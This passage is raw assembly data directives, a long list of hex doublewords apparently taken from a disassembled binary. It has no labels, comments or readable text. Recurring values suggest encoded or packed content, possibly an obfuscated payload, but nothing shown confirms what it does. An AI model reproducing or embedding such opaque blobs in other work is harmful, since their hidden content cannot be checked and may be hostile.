0F05E0F8Ah, 0B19E55C7h, 575EB46Eh, 0BEFDCF1h, 936060D9h dd 45EC15C5h, 1A2860F8h, 5E87954Ch, 11BA83BBh, 0FA990AFFh dd 0A6DE27FCh, 28F51CBBh, 150217D3h, 0F42A9C31h, 0DB3EBB9h dd 5CBD28DAh, 5A11770Fh, 0FA4266Dh, 0DF8AA6F1h, 9047AF44h dd 0E9D21F85h, 3B03E7D4h, 0BD8BFA11h, 44B4DF85h, 51EAA08Dh dd 5065F6F6h, 0F8737F63h, 13907FFh, 606E25F3h, 0ACFC929Fh dd 0EEBADE53h, 0B63F6D23h, 17CE35D9h, 3DA70000h, 4F646DCh dd 0A63F8F25h, 738DDD73h, 23D828BEh, 0EE577006h, 63F930CBh dd 0B046EB13h, 0FA90A160h, 46DC55AAh, 876B5871h, 0F5A7C27h dd 39C6A429h, 0CE3341F8h, 6822B63h, 53DE21DDh, 0A64936EDh dd 0AE517B9Eh, 0E41B29E0h, 3488B74Dh, 245A7C21h, 0C5D38AECh dd 12AAF73Ah, 0C3E5335Eh, 467EF25Ch, 0E6EBFD54h, 3DC69621h dd 0DA4F2AB6h, 5AC03D82h, 0FAE91622h, 1C8514F1h, 708E3E84h dd 0DBC55BC1h, 9C8940A8h, 576611F9h, 0C475E501h, 11EF3309h dd 0CDDFF4ABh, 0C0D1A93Dh, 0BECA0208h, 2436ED3Ch, 3C8C6AF8h dd 0F4E61EFAh, 1CD356A4h, 0E1361A07h, 0F0BE6065h, 0D22D0FB8h dd 0B7773B5Fh, 6441DEFFh, 1707C0h, 0A3766E00h, 0EC3DBD0Dh dd 3ADF0656h, 85AC54A4h, 0CD5C9FEFh, 92B51E37h, 0DA2AC069h dd 27770D24h, 71C157DAh, 380DA38Eh, 284E321Fh, 0F0D65A7Ch dd 47FB2C6Bh, 452E7B9Eh, 91D37458h, 0C82EFC54h, 1BBEAB62h dd 23517B9Fh, 6F909E55h, 21A08471h, 5A285A7Ch, 0F5075EF4h dd 34C7E537h, 38DE1611h, 0FAE79E10h, 5A7CBA2Ah, 0CE8FDCAAh dd 5A7CB9EFh, 0D927358Ah, 8E5C2058h, 0D643A2B0h, 1E0CB69Eh dd 41ED4096h, 98000000h, 0DB92E42Ch, 91D416EEh, 7BC89654h dd 91D3DABAh, 996F7554h, 7CF844EEh, 222545h, 0BFD00000h dd 0A9E150B1h, 91D3DFBEh dd 2C9CC754h, 8F736075h, 175491D3h, 11FE1149h, 5176C72Ah dd 71C65C2Ah, 0DA91FB2Ch, 76E3BEEDh, 0DA263E51h, 0F441D80Dh dd 4390F65Ch, 0B8499E61h, 4A5C1379h, 43AEDBDEh, 5F433028h dd 0E75A79B2h, 897BB319h, 4C301D32h, 0D45A79B2h, 3DC2CE06h dd 36C5A7F4h, 2BDB56A9h, 3FF65CD5h, 1562CF31h, 0EA9C457Dh dd 0EE1120B6h, 8A778C43h, 5A79B2A6h, 3628602Eh, 32CE19E6h dd 0D04C99FFh, 917E35A7h, 575EBA3Ah, 656ECBAh, 2AEB38F9h dd 38765C6Dh, 0D5220FEFh, 0DA27F2F3h, 4BE6F428h, 0E32BF25Bh dd 0FB7BE10Dh, 0DD2231C7h, 0E8211006h, 3B651918h, 0FCB319DCh dd 0B438C0EAh, 538B4449h, 43EE1161h, 0AC7D7E8Ch, 0E68FC75Fh dd 0E835FC04h, 49E7F543h, 81088937h, 2E00B47Dh, 0E8F42CABh dd 4E631A17h, 972F7D61h, 3EE905D8h, 9EACCEDEh, 1E1048AEh dd 0B30031CEh, 0E59C0C37h, 7C2FC1F8h, 0DD7341D5h, 0A9887886h dd 808CC45Ch, 7C65B27Fh, 88A15967h, 3014A33Bh, 0B8DE7E54h dd 6BC63AEAh, 5AD72733h, 0CAD85B0Dh, 0D9BDAA36h, 61DE7E53h dd 48E02D93h, 0A7BE4C10h, 0F343D958h, 5CD8250Ch, 1D0AC12Bh dd 0DB63789Eh, 0B9708B99h, 58577381h, 8CDF2C7Bh, 0B10197FDh dd 0D596E34Eh, 0D4654EF5h, 0CCD5E7E4h, 8F3CC0B3h, 0D422E61Eh dd 19AF827Dh, 42F938C9h, 2D65CC34h, 0D059A284h, 33170419h dd 0BBF4654Ch, 380CB5EDh, 5EA3B248h, 14ED3DD3h, 12EED01Dh dd 0BC0910D5h, 0F907BE24h, 4E48DFECh, 0B23F903Ch, 0B96B144Ch dd 21E07785h, 0B475910h, 0C275FB8Dh, 0D62D1F57h, 0C4FC1DC8h dd 31E849B8h, 754DD23h, 128E376Fh, 0ABC077E1h, 0BDF8C999h dd 8E6C4A94h, 12FD359Bh, 0F14AA0E3h, 0A3489563h, 51B08755h dd 5FA4AE0h, 2FDDF2Ch, 1E0EE22Fh, 0AB8679C8h, 1415E6F4h dd 5F72FC7h, 0C6132FD9h, 3310E0h, 0C6BB0000h, 2DA9F63Bh dd 0C6DB92FAh, 0D3E0C4B1h, 9A685491h, 0C4A47762h, 12275176h dd 78EA4125h, 44FBC95Ah, 78EA7357h, 0F52DFB5Ah, 718319E7h dd 12h, 0F63BC6D4h, 92FA2DA9h, 0FE8BEEDBh, 45135176h, 0B1BF5AAFh dd 78A69350h, 0B1BC9356h, 0CF4A9B4Bh, 0FD511C97h, 431514CAh dd 9411B6E9h, 9669772Eh, 7EB64E9Bh, 0C83B7E6Bh, 0A7C35177h dd 3514F260h, 44B1174Ch, 0B7FDFC3h, 34A4CFA6h, 0AE49907Dh dd 0B1C94C12h, 0FE96E34Eh, 1C82974Eh, 0B82053CFh, 1DDEEC01h dd 33E9D40Ch, 0B351F9C6h, 80CD649Bh, 7FCC5D9Eh, 641B81E7h dd 0F288A956h, 0B0D45DA2h, 0E469B00Ch, 99DB7F5Ch, 0DC000013h dd 2B7B1108h, 74C45ACFh, 0C212A871h, 0D5DF33Eh, 8CA53BEEh dd 2EFB0023h, 7BB64898h, 0C56C95E5h, 1120DF2Fh, 0A08DA67Bh dd 5A7C2CBCh, 0E7D95E44h, 5491D303h, 0A158C0F3h, 49A37A8Ch dd 7F2C553h, 0FC75E4CFh, 0A7755176h, 121FE2F0h, 5CD52C7Ch dd 5FD22D0Fh, 0EC998B3Bh, 0D47855E4h, 1338h, 0DC72A73Dh dd 25BB6E8Ch, 730910D5h, 0BE54DD23h, 69C8D6Eh, 9A6184EDh dd 55A9F98Fh, 0BF646DCh, 0BF409026h, 0EE07DC72h, 7C2D1D01h dd 3ABFA55Ah, 0DA91FB2Ch, 1080DC8h, 0EC24B026h, 3E7DECD9h dd 657D5177h, 0AF479495h, 76849249h, 1DEAFCB3h, 3C2AF1B3h dd 0AEFEF028h, 0AE90DD4Ch, 0EE93E051h, 71B84351h, 72BF4224h dd 0EF278D25h, 7486DD2Bh, 0A6601FB5h, 228FF92Ch, 62AF7A80h dd 799EC2A1h, 13E9CB5Ah, 63B62F3Dh, 4EDB1F2Bh, 0EEA98597h dd 0C889345Dh, 0D0841146h, 0CA0281C0h, 6D7288D8h, 0EE3BA178h dd 588D4172h, 4C8E74C1h, 82344055h, 934AB016h, 0EC3D1881h dd 679FC0BDh, 0D6386754h, 9EB35762h, 6357CDB1h, 7F635060h dd 7606357h, 81B98739h, 0E0EEA573h, 7C21C41Fh, 8FDCFFD5h dd 3AEE59ECh, 0AD13C131h, 0F938C717h, 950730ACh, 0D58DF1DEh dd 0FE105D4Ch, 3C9D8AE9h, 8D6E1E30h, 3E56649Ch, 8D2572A7h dd 9D627027h, 95A7FE94h, 0FBF90205h, 95A1D929h, 0FE7AC76Ah dd 9AAC63D5h, 0E592F7E2h, 9CAFE7F3h, 31DE24AFh, 200D2C63h dd 6C33E33Ch, 6C90F6C4h, 0D331B464h, 0F58B2F0Ch, 80000011h dd 0CF1FB564h, 1868FE2Bh, 66B64CCDh, 0B101979Ah, 3049DF4Ah dd 0D257A4C7h, 1F12EC3Ch, 69C83989h, 0B57C83D3h, 44314A1Fh dd 5A7C2D60h, 0BF7D02E8h, 97E44DB1h, 1DCC7FFh, 845491D4h dd 57A48576h, 41F00FBFh, 2D04FD09h, 3B2E6476h, 0B9A1C5DEh dd 0E0A0FAECh, 447CE246h, 0F8EDFB52h, 9F2D421h, 0D53BD320h dd 0ECCF79Dh, 1504FE70h, 78873714h, 0AF9C53B9h, 517C8253h dd 0EBCFBCDBh, 735A7D04h, 7A883FA5h, 0C318AE6Bh, 0FCF040EAh dd 1B32145h, 2CCC0000h, 0CBD990FAh, 0B2C3FB36h, 0D3F3D2BFh dd 5C6E5491h, 0CF1C3568h, 1ED50D5Dh, 0AABFEDA2h, 91D3D9BDh dd 5B936154h, 0B1BF3548h, 0FA92DF4Ah, 317E9B4Ah, 4A9D6199h dd 94E62CEEh, 32FCCBDDh, 98BCA08Dh, 76445492h, 6CCB6EC2h dd 70019CB8h, 0ABE39DE1h, 2C35369Ah, 9DA8FF9h, 0F050EA62h dd 3931467Ch, 0DC000000h, 0DD94E62Ch, 0D3F7DBC8h, 677F5491h dd 0B54D9A97h, 0BF06174Fh, 91D3F3D2h, 335C6E54h, 0D213C36Eh dd 1DEBF931h, 9CAABF68h, 8697CF62h, 45FA1FC6h, 34046DFEh dd 67000000h, 0DD94E62Ch, 0B0FD2CCFh, 0BFCFE018h, 0C4A895AAh dd 4C5491D3h, 7C5B467Eh, 535491D3h, 0AABF22D7h, 16CD649Ch dd 91D34529h, 0C7FFCD54h, 0FA1FC6B6h, 0EA6DFE45h, 467CF050h dd 0AA8E7B90h, 325791D3h, 7FBA2C64h, 63000000h, 4A37A955h dd 5791D366h, 82BA20EEh, 8FF92C71h, 0FC35CAD8h, 118CDAFh dd 7EB61CB4h, 98AABF6Dh, 0FAB0EDBh, 2A154D9Fh, 54923B4Bh dd 3846FDCBh, 4A2E1BADh, 0D254923Bh, 0B9519E04h, 3C311502h dd 0EBB95492h, 0AABFA2B3h, 81CE639Ch, 0D3765AE9h, 89FC5491h dd 89F17DBCh, 9C5321D3h, 9251CBAFh, 4D855354h, 0EA17253Ah dd 0B262FA47h, 199E633h, 34C6B8C9h, 6DFE40F5h, 4104h, 0F92C6700h dd 0CE3A3A41h, 1DB50217h, 9832BA69h, 0D2BF7D32h, 5491D3F3h dd 0BF994ECAh, 4DB1BFACh, 68B134E4h, 53D62430h, 0BD6C8E9Ch dd 8FA0D870h, 6B596BFEh, 0D99A1B7Fh, 781304B8h, 0EF8FEDE3h dd 4D04A6B7h, 65FFFFFEh, 9A4CEA53h, 81B9709Bh, 91FB2C70h dd 13CAC8DAh, 240D26BAh, 55A28774h, 857285BDh, 517C98E2h dd 57651CEAh, 9F389A8h, 0CBB86FC1h, 5A7D1BE7h, 8468556Ah dd 0C5A7D1Bh, 2AF8063Eh, 0F2DFF4DDh, 5A7D1C0Eh, 6A5B9A94h dd 5A0C03CEh, 8769548Ch, 2A5A7DC7h, 0F9A3D624h, 0DA40970Ch dd 38h, 0D407E785h, 76895491h, 39F8586Ah, 0B87C98Ch, 9243987Ch dd 0F2082054h, 0EC52EA37h, 0E2C1F086h, 0CA549243h, 1819E599h dd 0F70EFBB2h, 0F751776Ch, 0AB819329h, 0E4000000h, 0DA91FB2Ch dd 76F90AEDh, 7B7F8D51h, 91C961AEh, 0F0FEB583h, 3A8A2011h dd 5DE20C7h, 0C7766D86h, 529F0594h, 8B0754BAh, 4C39F058h dd 57630225h, 1220D7A5h, 5CAC42EFh, 0C7D58CA5h, 18C1F938h dd 4A016B9Ch, 4D4FF35Dh, 0F4E1F65Dh, 664DD110h, 0AE7B8098h dd 2B63C961h, 35FC051Dh, 33EA50E8h, 0A057DA25h, 79C65392h dd 67B7A9E1h, 65759998h, 3D917C7h, 0EA68226h, 15CF0000h dd 0DC1E6E04h, 7E67B74Dh, 4BB5059Bh, 0FB0050E6h, 167F982Eh dd 8B2108F3h, 0D86EC33Bh, 22B87988h, 6E042DD2h, 0AF938099h dd 375A7C31h, 39C6CC51h, 0ADC2ABF8h, 91D3DCC0h, 8E725F54h dd 165491D3h, 90C89648h, 0FFB67B84h, 0EB230EF1h dd 687E6E42h, 750B26D9h, 7CF89F49h, 2AD1DF45h, 0E21AB2FFh dd 4570h, 0FB2C1B00h, 0A6EDDA91h, 265176DCh, 0D6290B58h dd 0F885000Dh, 21762A07h, 7F6C23DAh, 5A79009Bh, 59EF5523h dd 0EE3BF609h, 167DF305h, 0B53D210Eh, 0F7C55A79h, 0A8EC843h dd 91FB2CD2h, 720AEDDAh, 0C492575Eh, 34C6D92Eh, 8CD950ABh dd 0A8F88EF4h, 0C98AD752h, 5491D3F4h, 10A68B76h, 0D48BFD26h dd 0D9BDAABFh, 615491D3h, 29705B93h, 0A9517B9Fh, 0CF1624DBh dd 1BE4FB00h, 0CB31C916h, 0EA7ACF65h, 45FCF040h, 15521h dd 0B1BFCC00h, 0FD95E24Fh, 39F51FC5h, 4C0167C2h, 0D3F3D2BFh dd 4ECA5491h, 0EACBF99h, 0ADBF5FFDh, 7E4470B0h, 7E245C99h dd 0BF31E648h, 0CD649CAAh, 7559E880h, 0FD5491D3h, 585BF72Fh dd 0D3725643h, 2CFA5491h, 0F92CE3F4h, 6209DA8Fh, 7CF050EAh dd 4C3146h, 2CDC0000h, 0C8DD94E6h, 91D3F7DBh, 0FDB17F54h dd 8885A9F1h, 8192CA88h, 0D3F3D2BFh, 57735491h, 4836A046h dd 6F248A65h, 0F598AABFh, 847889E4h, 0DD43EE10h, 115ED32Dh dd 0C6304179h, 0FE45FA1Fh, 3D046Dh, 57650000h, 0A13986A3h dd 0E62C5869h, 30CFDD94h, 9DEA47B7h, 56679F05h, 0D3F3D2BFh dd 606E5491h, 58418E9Bh, 91D3876Bh, 0DB410F54h, 0BB70ECA3h dd 0B1BFACBFh, 0FC94E150h, 0EC2DB8C4h, 0EA6DFE37h, 467CF050h dd 4231h, 0F92CDC00h, 0D2BFDA8Fh, 5491D3F3h, 8CA55B73h dd 8C41A73Fh, 34C6ACBFh, 91DE53ABh, 0FEDE93F9h, 8569566Bh dd 85491D3h, 91D4371Bh, 3FF1BF54h, 0BF283971h, 35E534B1h dd 821A67CAh, 2E7C4Ah, 0BFDF0000h, 93E049B1h, 0E81DC3FBh dd 0D2BFCB80h, 5491D3F3h, 886C596Eh, 105491D3h, 0D7530A42h dd 0C6ACBF22h, 0FE40F534h, 91885D6Bh, 6374AC44h, 0FFFEA204h dd 0AABF67FFh, 91D3D9BDh, 949D6354h, 36DC14E2h, 0F7E49B0Dh dd 517B9F54h, 7BB64957h, 0B0673543h, 9ED643A2h, 0AF827D8Bh dd 12F6E3F8h, 9A5A7C22h, 30E737Eh, 2288184Ah, 6DA58C72h dd 0F779917Bh, 0C26F5340h, 29F75A7Ch, 8C705D72h, 0F5A7CC2h dd 7CC33E22h, 46F8C65Ah, 0D6974078h, 5A7CC3F4h, 90304297h dd 47F96491h, 9DFA3DBh, 9648B45Eh, 219540h, 0E7400000h dd 5491D407h, 25BB7689h, 23A6BCCEh, 29495856h, 9291583Ch dd 0AC12E054h, 0D3A674h, 2C090000h, 7AB747FBh, 782F952Dh dd 0D3927663h, 4C1A5491h, 0CD140114h, 4D5176E2h, 0A5B3C87Fh dd 0EF87D455h, 0DB56ABB7h, 46EB1624h, 46E317F9h, 66B6A8E0h dd 0E233459Bh, 0B439923Fh, 16A88C1Bh, 62305A79h, 893345FCh dd 88547DECh, 19953E76h, 0DAC77EEEh, 57631EAFh, 0A4B26937h dd 0EE3ED45Dh, 7F97D013h, 66716467h, 7FE544B6h, 1B8DB632h dd 260D7764h, 0FB105D4Dh, 4DA72A0Eh, 0ACE4B266h, 0B19D09Eh dd 3178EFF4h, 8388F60Ch, 4D52B296h, 66C3A66h, 45BA0AA0h dd 451CC8ECh, 8F6CD918h, 0B2BEBh, 7F9A4A00h, 0C86199E9h dd 1603E232h, 61D03080h, 0A9807BCBh, 6E91FA13h, 0B6069C8Dh dd 353E948h, 4D9D33FEh, 14E97FB2h, 352A0EFBh, 0CCB25A7Ch dd 0B3ADBF47h, 9D24343h, 53ACB8F0h, 0D1BCA08Dh, 76445492h dd 1EE1C310h, 2F2C613h, 8FA25DF4h, 0F831CAD8h, 0E9DB13ABh dd 19428092h, 0F657D432h, 2D7A9F46h, 0CB755D95h, 0B457C58h dd 7C2509F6h, 0BBA85492h, 54927BD7h, 11DF915Fh, 5067D9h dd 2100000h, 4EE633FEh, 0FB2C0516h, 8AEDDA91h, 125176C5h dd 0EF744h, 0AF64E6E5h, 52DD7018h, 624D38ECh, 22D42041h dd 0C221DEEAh, 0A0576BA7h, 0A63CA204h, 3B88A956h, 6D2494BFh dd 2BB54A58h, 79C65A3Eh, 0AE14E25Ah, 0D5448B76h, 0F6C4575Eh dd 34C60B60h, 55305FF5h, 0D85491D3h, 0D3F2D6C3h, 0AC7A5491h dd 5F56AFF8h, 0EE267224h, 0BDC41FE2h, 7D614E01h, 55492C9h dd 8AE48337h, 7F7F8F98h, 288E204Ch, 5DAA8778h, 9AA85FC5h dd 0A294CC65h, 8ECF8FB8h, 223C7EB3h, 1401B81Eh, 517C74D0h dd 0C5D38A58h, 0E63F920h, 0FCF040EAh, 86E8045h, 7E97FC83h dd 0D751F567h, 22502023h, 10878EAh, 2C230000h, 0BFDB90FAh dd 91D3F3D2h, 994ECA54h, 0B1BFACBFh, 0C931E150h, 93642860h dd 0D75AA5B3h, 0E62C8E9Fh, 3536DF94h, 0DA8FF92Ch, 5E4B6009h dd 5491D37Ah, 0EBFC3402h, 7CF050EAh, 263146h, 2CDC0000h dd 0BFDF94E6h, 91D3F3D2h, 0F0A57354h, 1FC6ACBFh, 93E051B0h dd 0FEE095FBh, 42046Dh, 57650000h, 3E4F87AAh, 0DF94E62Ch dd 0DF5ADBFh, 0EEB3EC89h, 808EA3B6h, 8365B27Fh, 0D068B57Ch dd 0EA47BA6Ah, 0E2CD059Dh, 54921803h, 0BFA95EDAh, 0FA1FC6ACh dd 4FB1BF45h, 5A3E2BE2h, 0E25491D3h, 7708DC14h, 7CF050EAh dd 263146h, 2CDC0000h, 0BFDA8FF9h, 91D3F3D2h, 0F0A57354h dd 0D9BDAABFh, 615491D3h, 35485B93h, 40F534C6h, 22046DFEh dd 67000000h, 0DA8FF92Ch, 0D3F3D2BFh, 4ECA5491h, 9CAABF99h dd 8697CF62h, 0DF4AB1BFh, 0B6C2FA92h, 0FE30E544h, 0BDAABF6Dh dd 5491D3D9h, 1CE39361h, 0F830C815h, 0FFFEDF2Ah, 0B1BF8DFFh dd 98E534h, 87F122C8h, 9F40E3D0h, 3048517Bh, 7D1562CFh dd 3D4B6017h, 29356DC4h, 0DBC55BD6h, 758A41B7h, 629A9767h dd 7C219377h, 4D1B5Ah, 7C215D3Fh, 1514E75Ah, 161BE6C8h dd 0D624C9h, 8DEE47Bh, 96B6B35Dh, 159440h, 2F3D0000h, 14255DCCh dd 91D407E7h, 0BB768954h, 0D61325h, 2C760000h, 75B447FBh dd 6E523F28h, 0F65491D3h, 0E912C228h, 0F55BF340h, 2714293Eh dd 5491D343h, 0DAC5FDCBh, 5176F70Bh, 0F806BD8Bh, 42922809h dd 3C2572BFh, 1360D12Eh, 6A9D437Bh, 80E643B8h, 0C43DDCC9h dd 253D5762h, 740C59C0h, 5542570Eh, 60634671h, 0E0F32BF9h dd 1AE5B9CBh, 0C0C5A996h, 7F4D6063h, 150037CBh, 130D1DDh dd 70A93C4Ah, 61538B23h, 0F441F011h, 26DD4F78h, 4D96CF39h dd 3AC4D25Dh, 99B1BFF7h, 0E77FCC65h, 43BCCA81h, 0D109A1EEh dd 0E24FB0BEh, 2E03FC4Ch, 1780E40Ah, 0CB6F4CD9h, 7D8h dd 3CD2479Dh, 851B0EECh, 0D369B035h, 1EB47D83h, 66FC2DCEh dd 3AC1E44Dh, 0F50959EFh, 0AB56A63Ch, 5FA0F086h, 4E673CD2h dd 7C377D61h, 9A1F055Ah, 0ABF839C6h, 4EB136C9h, 98FE96E3h dd 0FBDFCCE1h, 835491D3h, 509D946Bh, 59A252B8h, 0B3EB83D0h dd 0B046360Ah, 95825EA1h, 5491D3B1h, 6F056B39h, 7CFC9943h dd 337A45h, 0E230000h, 91E03D21h, 0BFF7C554h, 91FB2CAEh dd 89C4C8DAh, 6FC2B8h, 5DC8B5C8h, 6551776Bh, 0A9894A97h dd 445A796Dh, 13BDA83Eh, 0F4409B66h, 53h, 91FB2C9Fh, 49B7C5DAh dd 4F039BE8h, 7CE3D113h, 3B265E6Ch, 51779440h, 0B5C37A48h dd 0B19AE74Ah, 7998E0C4h, 349A685Ah, 8E7153FCh, 1CDEECA3h dd 93E3D50Dh, 0FC78C56Ch, 95AA61CBh, 82BA7787h, 5EBBC897h dd 0C9354357h, 0E849B868h, 0BDCB039Bh, 570459EFh, 0A10B3C12h dd 980D8EAh, 50C3BC74h, 3D812C8Dh, 81B91FDAh, 0F3E816Eh dd 0F8C65177h, 0FAC90A8Bh, 8EB99ACEh, 0A759671Eh, 6DA53D8Ah dd 87266D5Ah, 0D8A617D4h, 0A08DA28Bh, 20D686BCh, 36342844h dd 49D20BC8h, 0F4DF2FE3h, 60C862AFh, 0E7518228h, 51D82230h dd 21346C04h, 2E03FE0Ch, 261149E1h, 1DBB2970h, 5D6B22F0h dd 0A9F98FA2h, 837C8A56h, 4C3B1FAEh, 0A4C326BDh, 0BD4BD3B7h dd 278D5B26h, 4C5B9DC1h, 0C8A518A8h, 65B24h, 4FCA1A00h dd 989169B9h, 0E633B202h, 31000050h, 79B04B9Bh, 3E61CAE3h dd 86D66CBDh, 0D323B978h, 1D6D032Eh, 0E4B94FE2h, 39FADECBh dd 9C825A7Ch, 0F839C617h, 5B3F2C41h, 0E55491D3h, 2FC71415h dd 0FFFFAF7Dh, 154DE532h, 0BE5B8A6Ch, 2C05F907h, 679747DFh dd 0ADE57DCAh, 36A6D1BBh, 9EF3927Fh, 25F3517Bh, 20E1EFD8h dd 18CDD911h, 7625DD01h, 9673E4E9h, 5E3F2h, 0C7529200h dd 1019E131h, 5EBB2A7Ah, 0A98878C8h, 0F138C313h, 0B6D9425Bh dd 0FE4EE445h, 4B9B3100h, 95E57BB6h, 5C31C76Ah, 39725643h dd 14FA5A7Ch, 0BDAABF8Fh, 5491D3D9h, 0B55B9361h, 76631A82h dd 517B9F4Bh, 0CFB805D3h, 0A6F33EC1h, 1BCAD60Eh, 7632DAFEh dd 5D3AE4E9h, 587B9h, 23F6EE00h, 6CBD3D8Dh, 0BA5F86D6h dd 52CD424h, 4DDC1F6Fh, 12359EB7h, 5AAA40E9h, 0A7F78DA4h dd 0F141D75Ah, 0B88D230Eh, 3ACEB29Fh, 70565A7Ch, 91FB2CEBh dd 0A0B3C5DAh, 4CD654CAh, 8E8165F4h, 3B095492h, 0DC03F003h dd 5C517C5Ah, 865F418Eh, 0BBA76F93h, 0F4D1E4E8h, 52B50h dd 7F9A4A00h, 0C86199E9h, 1603E232h, 61D03080h, 0A9807BCBh dd 6E91FA13h, 0B6069C8Dh, 353E948h, 4D9D33FEh, 14E97FB2h dd 3B2A0EFBh, 0CCB25A7Ch, 0AA39C647h, 0CE70DF9Ch, 0F33EC285h dd 42A80EA6h, 0FBEC13F5h, 78C52B06h, 0E64492C6h, 1CE8BFD1h dd 442F069Ch, 92ABD1B5h, 538B5954h, 0E379B847h, 0EC56C93h dd 0A8CADBFCh, 9210D7BBh, 0DD915F54h, 9B9A29Bh, 59023AF7h dd 96836270h, 2894735Eh, 0BB9D5492h, 48E9162Dh, 0AD4D5BB2h dd 5F972F7Ch, 671E8EB9h, 7BF44B7Ah, 46FDCB51h, 0D46AC738h dd 69B67B84h, 0E3DF6E80h, 0F226D0AFh, 769773Eh, 5E968FB4h dd 661D8FB8h, 5189A858h, 16ED513Eh, 0A7755766h, 0AEEDBF0h dd 92606699h, 6B798CC4h, 0B7079D94h, 209CE948h, 634734F7h dd 0EB606698h, 1300B71Dh, 5D4B9F88h, 0A589768Bh, 2D664DA3h dd 4B19275Fh, 17F4F927h, 12B693D9h, 42Ch, 0E87E9B49h, 31C76298h dd 7F1504E1h, 0CA60D12Fh, 12A8817Ah, 8E6D90F9h, 49B5059Bh dd 0FF0252E8h, 0B34C9C32h, 0FA13E87Eh, 7C3C290Dh, 46CBB15Ah dd 0D9BDAABFh, 635491D3h, 0AE46939Eh, 0EAF62EFCh, 0EDCF1C15h dd 9F891F12h, 604D0474h, 5176E001h, 0E7FCB381h, 5894A4D5h dd 99894BAh, 5A793725h, 0F42BDFADh, 353B8889h, 7738E119h dd 5A799597h, 0FA47E219h, 0BE7DCE14h, 0B03392h, 48E633FEh dd 0FA911EECh, 0C973E6F4h, 0AA409B3Ch, 3Ah, 91FB2C55h dd 4BDC8DAh, 21E32351h, 0EF771F6Dh, 0EA22DC20h, 2723EAD7h dd 0D5A35177h, 26E7C788h, 7C825A79h, 0CEBBD06Eh, 5A7926EAh dd 846CA472h, 409BAFDAh, 0E4BBh, 39C66600h, 0D42320AAh dd 0BF254627h, 3C92F608h, 9BFDB962h, 23D8BA63h, 28D7B906h dd 25DABC09h, 286554BEh, 1F850947h, 0D53D5A89h, 26385492h dd 29EA7B1Ah, 1019E1B0h, 996672AAh, 1B81B04Eh, 67CA3585h dd 3759E1Ah, 0B6C5F4Ch, 0A6745178h, 8BFD2610h, 9CAABFD4h dd 0EA82CF62h, 7A31775Bh, 0F931FF5Ah, 60C6A80Eh, 9C89A857h dd 6063E6B8h, 550C7240h, 65CC3240h, 3C488018h, 7DD46ABFh dd 6BA3766Fh, 698D9C5Fh, 0DF01B1C1h, 0D126CAA7h, 0A4000002h dd 0F343D940h, 3C8C2207h, 8ADA70A9h, 0D525BB76h, 546D0326h dd 0F633C8EBh, 43EE1060h, 8DA45DADh, 0D958A7F7h, 68556E43h dd 5A7C3C84h, 0C6A1260Ch, 0D2B6A335h, 5A5491D3h, 4E8D58Ch dd 8C5491D4h, 8FA158BEh, 10B492C0h, 8FA3283h, 54EA47B8h dd 4AB1BFFFh, 0D3BDA18Eh, 77455491h, 33D911h, 0C833344Ah dd 0F65C587Eh, 0E31C2A3Fh, 642B164Eh, 0DF5177AAh, 0AAF9DDCAh dd 0B3815A79h, 529F6D7Bh, 79AAB191h, 67B2335Ah, 66C3381Ah dd 0D0267419h, 0D82E34CBh, 9B2B03ADh, 8EE440h, 0C68F0000h dd 0DC4DAE39h, 0F85ED32Ch, 64CD3341h, 5AA1832Ch, 0A4C182CFh dd 0A65491D7h, 0F242D859h, 5BD7240Dh, 1C09C028h, 5176C929h dd 0E3CD6331h, 0A49148B0h, 575F7F5Fh, 4C5A11DFh, 8DE47AAFh dd 7828847Bh, 61997EBBh, 5F83A655h, 0DF033BD5h, 0DD26CAA7h dd 98000001h, 0E737CD4Ch, 30801613h, 7ECE64B5h, 0C919AF82h dd 4861F732h, 0EA3FBCDFh, 37FA0454h, 81B051A1h, 0CD649BEBh dd 5C496237h, 5A7C3D78h, 0C6951A00h, 0E5EF435h, 55AA40F1h dd 0ABF839C6h, 44FB36C9h, 53F4A332h, 0D60EEBCCh, 5FC9FAE4h dd 0CA679AA8h, 9AADE57Dh, 76EF42ADh, 0C57C4A51h, 0ADE544B7h dd 0F40D1B04h, 3A1A053Dh, 0D55A78F2h, 0A44E39CFh, 85409BE6h dd 28h, 40FB2C30h, 91D36F53h, 0C329F754h, 0FD081F0Ch, 3A085176h dd 34C2CEDh, 0E1E75A79h, 0CCB6600Bh, 2397409Bh, 42000000h dd 91D408E7h, 55C7F054h, 0C64AB19Eh, 7C4A5176h, 217D8FE6h dd 354CD5FEh, 13F86340h, 8BF17AD3h, 0FB2C4253h, 92EDDA91h dd 1A5176F9h, 9380954Ch, 5A78FFAFh, 88316937h, 78FFE7C7h dd 6E7C825Ah, 0EACEBBD0h, 745A78FFh, 0C25AA78Ah, 220A4210h dd 409BD478h, 3459h, 7E70400h, 825491D4h, 0BA53CA70h, 7EB62B94h dd 863DAFD8h, 77A23299h, 0E21F2D51h, 0E7041701h, 88EEE7ECh dd 5D6BA33Bh, 2875BC45h, 3D942A90h, 2961D02Fh, 91FB2C18h dd 0E17CC8DAh, 0C8128A10h, 89907D90h, 89517C82h, 9F604BBh dd 5E47F028h, 0D9EB254Ch, 0ED4509B1h, 2A3BEF1Ch, 0E4F028CEh dd 4D5F161Bh, 0DCBE33CEh, 0D4C6FE70h, 69B67B84h, 41676FA8h dd 0E7F52961h, 0EC82AF50h, 81CE639Ch, 0BA778A98h, 919DD56Dh dd 0F60BC26Fh, 41682509h, 2BDFAD6Ah, 0E0DAD02Ah, 1AAE2FFh dd 653C61Fh, 0F50ADD24h, 0F157EF3Ch, 0AE0D0A4h, 36C41285h dd 32160318h, 0BA6A40DCh, 57A8B4ECh, 0BF444DAh, 1D35D926h dd 98000000h, 0A895AABFh, 5491D3C4h, 0BEF7E4Ch, 935491D4h dd 3D210EC5h, 0C55491D4h, 45BFF7h, 0AEFB1EC6h, 0B1FE33CCh dd 0B2FF32CFh, 0B6032ED0h, 0B50227D4h, 0B40128D3h, 0B6032ED2h dd 0BB0811D4h, 0BB0821D9h, 4EC816Fh, 89000000h, 7F682404h dd 89000024h, 89502434h, 405E0h, 42D0000h, 87000000h, 895C2404h dd 0B850243Ch, 442B7307h, 201177BEh, 58C63119h, 133CEE81h dd 0EC815721h, 4, 81242489h, 42404h, 565F0000h, 623DBB53h dd 5C3145C3h, 8F5B0424h, 77810847h, 0C3623D08h, 2434FF45h dd 4C4815Fh, 0FF000000h, 815E2434h, 4C4h, 1341E900h, 0A5CFFFFDh dd 0EA6CD4B8h, 0FFC50305h, 0BDE6B7E0h, 462AD448h, 27586D66h dd 7698F862h, 48E8C903h, 0BE841h, 492D0000h, 834CF2D1h dd 0D0919E04h, 5BCBB09Dh, 0F1E08166h, 0DBC38122h, 